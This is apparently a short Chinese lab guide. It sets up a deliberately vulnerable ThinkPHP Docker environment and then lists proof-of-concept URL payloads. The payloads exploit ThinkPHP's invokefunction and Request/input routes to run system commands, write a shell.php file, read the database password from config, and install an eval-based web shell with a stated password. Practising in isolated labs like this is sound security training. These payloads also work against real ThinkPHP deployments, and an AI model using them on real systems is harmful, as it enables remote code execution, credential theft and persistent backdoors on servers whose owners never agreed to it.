- 拉取镜像到本地
docker pull medicean/vulapps:t_thinkphp_2
- 启动环境
docker run -d -p 80:80 medicean/vulapps:t_thinkphp_2
-p 80:80 //前面的 80 代表物理机的端口,可随意指定
- 使用与利用
访问 http://你的IP地址:端口号/, 假设启动的端口号为 80, 然后根据提示进行操作
实例
-
我已经下载到本地了
1.jpg -
启动一下
2.jpg -
本地访问127.0.0.1,我在物理机上就是访问虚拟机的ip
3.jpg -
然后就可以愉快的玩耍了
4.jpg - 附带poc
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
think\config 类:
index.php?s=index/think\config/get&name=database.password
index.php?s=index/\think\app/invokefunction&function=assert&vars[0]=eval($_POST[1])&vars[1][]=1
直接通过一句话连接了,密码1